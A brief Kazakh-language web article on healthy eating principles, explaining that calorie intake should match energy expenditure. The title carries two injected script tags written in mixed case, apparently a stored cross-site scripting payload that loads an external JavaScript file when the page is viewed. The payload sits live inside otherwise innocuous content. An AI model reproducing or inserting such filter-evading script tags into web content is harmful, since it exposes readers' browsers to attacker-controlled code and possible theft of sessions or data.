Дұрыс тамақтану принциптері<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Дұрыс тамақтану принциптері

Дұрыс, салауатты тамақтану формуласы өте қарапайым, өйткені ол бір-біріне тікелей тәуелді екі компонентті ғана қамтиды. Оның мәні мынада: тағамның энергетикалық құндылығы (калориямен өлшенген) дененің энергия шығынына сәйкес келуі керек. Адам көп жесе, бірақ аз қозғалса, оның жұмсалмаған энергиясы артық салмаққа айналатыны бәрі біледі. Бұл қалыпты салмақты сақтауда өмір салты, кәсібі, жынысы, физиологиялық деректері және физикалық белсенділік маңызды екенін білдіреді. Бірақ әркім қарапайым ережелерді сақтай алады.